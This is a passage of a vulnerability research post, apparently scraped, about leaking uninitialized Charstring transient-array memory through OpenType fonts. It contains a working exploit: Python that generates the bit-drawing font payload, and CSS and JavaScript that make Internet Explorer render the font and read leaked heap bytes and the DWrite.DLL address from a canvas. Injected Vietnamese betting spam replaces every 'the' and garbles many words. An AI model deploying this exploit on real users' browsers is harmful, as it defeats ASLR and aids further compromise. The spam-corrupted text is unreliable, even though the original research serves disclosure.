   payload += sub("", ifelse(enc(0), enc_dword(2 ** i), index(enc(2)), enc_dword((2 ** i) - 1)))

The range starts with bit 30, as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 31st one was separately handled above. The first parameter to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “sub” operator is empty to note cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that we are operating on an intermediate value that already resides on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operand stack as a result of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous code. Furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rmore, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “index” instruction with parameter “2” is used to copy cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value two items below cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 top of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 intermediate dword being disclosed) to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 top of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack to use it for comparison. For our current value of 0x5EADBEEF, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following two iterations of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 loop are executed:

  1. 0x5EADBEEF is compared with 230 (0x40000000), and since it is greater or equal, subtraction takes place, resulting in a new intermediate value of 0x1EADBEEF.
  2. 0x1EADBEEF is compared with 229 (0x20000000), and since it is smaller, no operation takes place (in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form of subtraction with 0), retaining cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original value on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack.

At this point, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only thing left is to compare cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resulting value with 2bit, and push 0 or 1 on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack depending on whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r it is greater or equal, or smaller than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 power of 2:

 payload += exch("", ifelse(enc(0), enc(1), index(enc(2)), enc_dword((2 ** bit) - 1))) + drop()

Once cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “ifelse” executes, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack has two values on it: cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extracted bit (on top) followed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 intermediate value. As cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “leak_bit” function is supposed to generate code which only leaves cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 result on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack and doesn’t clobber it with ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r data, we have to finally exchange cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two dwords and drop cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 now topmost one. In our case, 0x1EADBEEF is compared with 228 (0x10000000), and since it is greater or equal, “1” is left on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack by “ifelse”, followed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 clean up done by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “exch” and “drop” operators. We have now successfully extracted cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 28th bit of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dword in our example, and more generally developed a leak_bit(dword, bit) function to reliably obtain any of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 32 bits of any chosen item in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transient array. Let’s now proceed to reflecting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 display by drawing some actual shapes.

Drawing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bit matrix

As previously mentioned, for each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 32 dwords we will draw a separate column of 32 squares for each bit. First of all, we should start by initializing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cursor position at (0, 0):

payload = rmoveto(enc(0), enc(0))

In order to draw cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 square, we can use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “rlineto” instruction, which takes one or more (x, y) pairs and creates lines based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 relative coordinates. While we cannot execute cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operator conditionally, we can calculate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operands such that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y form a square if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 disclosed bit is set, or an empty set if it is zero. This can be achieved using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stream of instructions shown in Figure 2.

Figure 2. PostScript instructions generating operands for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “rlineto” operator.

If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bit returned by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “leak_bit” function is 1, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following values will be pushed to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operand stack:
64 0 0 64 -64 0 0 -64

which translates to a square outline:


On cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hand if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bit is zero, all eight parameters to “rlineto” will be zero, effectively resulting in a no-op. After each such “rlineto” operation, we additionally have to move cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cursor up by 64 units. Likewise, we have to remember to move cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cursor back to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bottom of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 matrix and next row on each new transient array item, and to mark cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of drawing with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “endchar” instruction. The Python code generating a full PostScript program disclosing 128 bytes of uninitialized transient array memory is shown below:

payload = rmoveto(enc(0), enc(0))
for dword in range(32):
 for bit in range(32):
   payload += (rlineto([(mul(leak_bit(dword, bit), enc(unit)), enc(0)),
                        (enc(0), index(enc(2))),
                        (neg(dup()), enc(0)),
                        (enc(0), index(enc(2)))]) +
               rmoveto(enc(0), enc(unit)))
 payload += rmoveto(enc(unit), enc(-unit * 32))
payload += endchar()

In my proof of concept file, I installed this Charstring in letters “a” to “z”. Additionally, I also assigned a test disclosure program to letter “A”, which—instead of leaking any actual bits from memory—returns bits from predefined values 0x55555555 (bit pattern 010101...) and 0xAAAAAAAA (bit pattern 101010...) alternately:

def leak_test_bit(dword, bit):
 if dword & 1:
   test_dword = 0x55555555
 else:
   test_dword = 0xaaaaaaaa

 return enc((test_dword & (1 << bit)) >> bit)

If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 drawing algorithm is implemented correctly, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 test glyph of letter “A” should be displayed as a checkered pattern:


This can be conveniently used to both manually inspect that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Charstring program works, and also programmatically synchronize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 algorithm reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory back, as shown in one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 next sections.

Example results

Right now, we have a universal .OTF file which renders potentially uninitialized transient array contents on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 display. The nice thing about it is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only violation committed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 font is reading array entries that have not been previously written to, a condition that we find quite easy to miss while developing a Charstring interpreter. In this form, it is ready to be used for testing various engines for potential bugs, whose presence is easily revealed by variable, “non-deterministic” shapes of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 glyph outlines. Figures 3, 4, 5 and 6 show cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 results of loading such a test OpenType font in vulnerable versions of Microsoft Windows, Internet Explorer, Windows Presentation Foundation and Oracle Java respectively. In all cases, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug was obviously cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re; we suspect that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reason for Java not properly rasterizing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 matrix is caused by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that it doesn’t support some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Charstring instructions used in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit.

Figure 3. The exploit OpenType font rendered by a vulnerable Windows 7.


Figure 4. The exploit OpenType font rendered in Internet Explorer 11 using vulnerable DirectWrite.


Figure 5. The exploit OpenType font rendered in a vulnerable Windows Presentation Foundation environment.

Figure 6. The exploit OpenType font rendered in a vulnerable Oracle Java environment.

Disclosing Internet Explorer’s memory to Javascript

One of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most intuitive uses of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability would be to exploit it from Javascript in order to read Internet Explorer’s heap bytes, trying to locate a heap (or ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r) address in order to facilitate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploitation of anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r vulnerability (e.g. a use-after-free or memory corruption). Information disclosure issues are of much value for browser exploit developers cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se days, as all widely used browsers employ exploit mitigations such as ASLR and DEP. In this section, we will show how a malicious website could embed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit font, have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser display cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 leaked portions of heap memory, and read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data back using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 HTML5 tag.

Embedding custom OpenType fonts in websites for Internet Explorer (starting with version 9) is as simple as defining a new font face and a corresponding style in CSS:

<style>
 @font-face {
   font-family: custom_font;
   src: url(PATH TO FONT);
 }
 #custom_font {
   font-family: custom_font;
 }
style>

The remainder of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit will be written in JavaScript. First, let’s define some important constants:

var kDimensions = 128;
var kDataRows = 32;
var kDataColumns = 32;
var kSyncChar = 0x41;
var kLeakChar = 0x61;

Here, kDimensions will be used as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 point size in which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 glyphs will be rendered. kDataRows and kDataColumns specify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dimensions of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 matrix represented by each glyph; since in case of OpenType we have 32 dwords of 32 bits, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 constants are set accordingly. Furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rmore, kSyncChar specifies cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 special character used for synchronization/calibration (“A” in our case), and finally kLeakChar is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 character providing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 actual memory disclosure primitive (“a” in our case).

Next, we have to initialize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 environment make sure that kDimensions is divisible by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 numbers of rows and columns:

try {
 if ((kDimensions % kDataRows) != 0 || (kDimensions % kDataColumns) != 0) {
   throw new Error('Dimensions not divisible by number of bit rows or columns.');
 }

create a canvas element to draw on with dimensions sufficient for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 synchronization and leaking glyph, and append it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 document body:

 var canvas = document.createElement('canvas');
 canvas.id = 'c';
 canvas.width = 2 * kDimensions;
 canvas.height = kDimensions;
 document.body.insertBefore(canvas, document.body.firstChild);

and actually rasterize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 synchronization and memory-leaking glyphs (triggering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability):

 var ctx = canvas.getContext('2d');
 ctx.fillStyle = 'rgb(255, 0, 0)';
 ctx.font = kDimensions + 'px custom_font';
 ctx.fillText(String.fromCharCode(kSyncChar) + String.fromCharCode(kLeakChar), 0, kDimensions);

Before trying to extract any of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser’s memory, let’s first make sure that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 special character was correctly drawn on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 canvas by reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 0x55 and 0xAA bytes that it represents and verifying that all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m were correctly extracted:

 var imgd = ctx.getImageData(0, 0, kDimensions, kDimensions);
 var synch_success = true;
 synch_bytes = readBytes(imgd.data, kDimensions, kDataRows, kDataColumns);

 if (synch_bytes.length == 128) {
   for (var i = 0; i < synch_bytes.length; i++) {
     var expected_byte;
     if (Math.floor(i / 4) % 2 == 0) {
       expected_byte = 0xAA;
     } else {
       expected_byte = 0x55;
     }
     if (synch_bytes[i] != expected_byte) {
       synch_success = false;
       break;
     }
   }
 } else {
   synch_success = false;
 }
 
 if (!synch_success) {
   throw new Error('Synchronization failed.');
 }

The “readBytes” function is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 core of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 HTML/Javascript part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit, implemented as follows:

function readBytes(data, dim, rows, cols) {
 var bytes = [];
 var hbit_dim = dim / cols;
 var vbit_dim = dim / rows;
 var cur_byte = 0;
 var accumulated_bits = 0;

 for (var x = 0; x < dim; x += hbit_dim) {
   for (var y = dim - 1; y >= 0; y -= vbit_dim) {
     cur_byte |= Boolean(data[((y * dim) + x) * 4]) << accumulated_bits;
     accumulated_bits++;
     if (accumulated_bits == 8) {
       bytes.push(cur_byte);
       accumulated_bits = 0;
       cur_byte = 0;
     }
   }
 }

 return bytes;
}

The body of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 routine is generally quite self explanatory – it iterates over each column and row, accumulating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bits and storing full bytes in an array, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n returning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 caller. Lastly, we have to invoke cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function once again to read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uninitialized bytes and print cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m out on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen:

 var output = document.getElementById('output');
 imgd = ctx.getImageData(kDimensions, 0, kDimensions, kDimensions);
 leaked_bytes = readBytes(imgd.data, kDimensions, kDataRows, kDataColumns);
 
 for (var i = 0; i < leaked_bytes.length; i++) {
   output.innerText += ('0' + leaked_bytes[i].toString(16)).substr(-2) + ' ';
 }
} catch (err) {
 alert('Error: ' + err.message);
}

At this point, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit is ready and functional. Once we open cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 website on a vulnerable version of Internet Explorer, we might see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following dump of 128 leaked bytes:

f0 00 62 74 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 cd c5 ae c3 02 00 00 00 26 00 00 00
78 bb f6 08 48 d8 01 00 20 bc f6 08 14 00 00 00
f0 a8 79 06 01 01 b7 73 c0 f7 04 01 08 00 00 00
02 00 00 00 00 00 00 00 00 00 00 00 e0 3e 02 01
c0 f7 04 01 08 00 00 00 60 49 87 04 08 ac 7c 3f
02 00 00 00 00 00 00 00 20 4e a1 06 c0 f7 04 01
08 00 00 00 00 00 00 00 b0 f7 04 01 08 ac 7c 3f

As it turns out, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 nature of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 disclosed memory region is very consistent across a number of tests in our environment (Windows 7 64-bit, Internet Explorer 11 32-bit). Specifically, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first dword in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 leak always contains cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 base address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DirectWrite (DWrite.DLL) module, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 area also has a number of heap addresses at constant offsets (shown in bold). If we additionally output some more debug information, extract and display cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 disclosed addresses in Javascript and attach a debugger to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 browser process, we will see that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap addresses are indeed valid, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 base address of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DWrite.DLL module is correctly leaked too, as shown in Figure 7.

Figure 7. The OpenType exploit disclosing multiple addresses in Internet Explorer process address space.

The above example clearly illustrates how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability could be used by an exploit to learn about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 virtual address space of Internet Explorer, which could greatly help in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploitation of anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r flaw (e.g. by making it possible to construct a ROP chain based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DirectWrite base address).

If not for OpenType Sanitiser, Chrome and Firefox would be prone to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug, too. We believe that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 decision to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OTS library as an additional layer of protection was extremely wise, as it largely reduced cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 font-related attack surface to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most basic features of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 formats (sufficient to use almost all regular fonts), while most issues are typically discovered in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation of old, obsolete, non-standard parts of specifications – and especially those explicitly mentioning cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 possibility of “undefined” behavior.

Conclusion

While some DirectWrite clients were not affected by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability, it was still cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most common bug of all found during my Charstring security research, present in virtually all PostScript font engines I have tested. The vulnerable Windows kernel (specifically ATMFD) could be attacked in an analogous way, eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r by using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 very .OTF font developed in this post, or a new Type 1 one (in order to maintain more control over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 disclosed allocation). The only difference for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OS exploit would be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 usage of API functions to rasterize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 glyphs and read pixels back, and any user-mode code (not subject to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 win32k lockdown) could leak cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel pools, which is definitely a useful primitive in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 times of Microsoft enforcing kernel ASLR in recent versions of Windows. This also demonstrates how security flaws spanning across multiple pieces of software (e.g. due to shared codebases) are many times more impactful compared to “normal” ones found in a single program.

I hope you have enjoyed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post, and am looking forward to publishing furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r articles regarding font security.

No comments:

Post a Comment